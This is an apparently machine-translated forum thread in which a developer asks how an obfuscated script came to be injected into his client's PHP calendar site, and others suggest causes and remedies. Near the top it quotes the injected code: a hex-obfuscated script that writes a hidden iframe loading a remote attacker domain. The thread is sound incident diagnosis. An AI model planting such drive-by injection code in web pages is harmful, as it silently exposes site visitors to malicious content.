Клиентский сайт подвергся нападению, eeek!

Ну, я думаю, этот день должен был прийти.

Мой клиентский сайт был взломан и внесен в черный список Google. Когда вы загружаете главную страницу, этот javascript автоматически добавляется в нижнюю часть документа:

<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>

Я еще не разобрал его, но это, очевидно, злоумышленник, пытающийся позиционировать как аналитику google. То, что я не могу оборачивать, состоит в том, что если я удалю КАЖДОГО ОДНОГО ПОСЛЕДНЕГО БИТА с главной страницы до такой степени, что index.html является пустым документом, javascript STILL будет внедрен. Что дает? Как это возможно?

Обновления

  • Веб-сайт - это очень простое приложение для календаря, работает на учетной записи unix в формате $10/месяц, MySQL, PHP.

  • Это не локальная вещь, характерная для моего компьютера, так как мой клиент вызвал меня с проблемой. Также происходит на всех компьютерах, которые у меня дома (4)

Я запустил сканирование на веб-сервере...

идентифицированный источник

Ну, я узнал, откуда идет javascript. Я по глупости только опорожнил файл template.html, но все еще запускал script через мою систему php templating. По-видимому, ПОТОМУ ЧТО приведенный выше код добавлен к нижней части моих файлов index.php и main.php. Как это возможно?

Немного больше фона:

  • Это приложение для календаря, как упоминалось выше, и оно используется только моей небольшой компанией-клиентом. Вход должен сделать что угодно, и только у 5 или около того есть учетные записи. Я могу гарантировать, что ни один из них не попытается использовать какие-либо махинации. Я, очевидно, не могу гарантировать, что кто-то завладел их информацией и, однако, попытался использовать махинации.
  • К сожалению, я сделал этот сайт почти 4 года назад, поэтому я не уверен на 100%, я защищал все, что сейчас пытаются делать дети, но я до сих пор не понимаю, как злоумышленник мог получить доступ к веб-серверу добавьте этот javascript в мои php файлы.

Ответ 1

Мощный HTTP-модуль (в IIS) или любой другой эквивалент для apache может добавлять, добавлять или даже изменять контент для любого HTTP-запроса даже для статических файлов. Это предполагает, что сам сервер был скомпрометирован.

EDIT: если вы сообщите нам, какой тип веб-сервера вы используете, мы сможем предложить более конкретные рекомендации по устранению неполадок.

Ответ 2

Вы обслуживаете любой контент из базы данных SQL? Возможно, что компромисс был атакой SQL-инъекции, а содержимое вашего сайта в базе данных было заменено/изменено с помощью этого script/тега.

Ответ 3

Будет ли это иметь какое-то отношение к .htaccess?

php_value auto_append_file /server/path/to/my/www_root/subdir/file.ext" 

Может автоматически прикреплять файл к нижней части документов. Хотя, если вы не можете идентифицировать файл с этим JS, то, я думаю, это маловероятно. Вы когда-нибудь выясняли, как они это сделали?

Ответ 4

Разрешаете ли вы любой html-ввод от пользователя? Может быть, это что-то, что не фильтруется должным образом.

Ответ 5

Я советую вам посмотреть ваши файлы журналов. Каждый доступ через Интернет должен быть зарегистрирован там.

Ответ 6

Вы уверены, что эксплойт не является локальным на вашем компьютере, а что-то локальное вставляет HTML в ваш веб-браузер, а затем заставляет ваш Браунер выполнять JS?

Запустите надежное локальное сканирование с помощью Spybot и желательно NOD32. Если вы не хотите устанавливать NOD32, потому что это может противоречить вашему текущему AV, вы можете использовать Stinger, который является AV-сканером который запускается как программа и не будет вмешиваться или требовать перезагрузки.

Также выполните проверку на веб-сервере. Я также вижу, что люди размещают об этом на других форумах, например здесь.

Ответ 7

Мы столкнулись с аналогичной проблемой с одним из наших клиентов около года назад.

Оказывается, клиент использовал FTP-клиент, который сохранил его пароли в текстовом виде, и система была заражена вирусом, который специально сканировал систему для этих файлов паролей, чтобы перезаписать исходный код хостов, сохраненных в файл.

Для получения дополнительной информации см. http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/. Вы найдете его очень похожим на проблему, с которой вы столкнулись.

Решение для нас состояло в том, чтобы побудить наших клиентов не сохранять пароли или использовать FTP-клиенты, которые сильно шифруют пароли.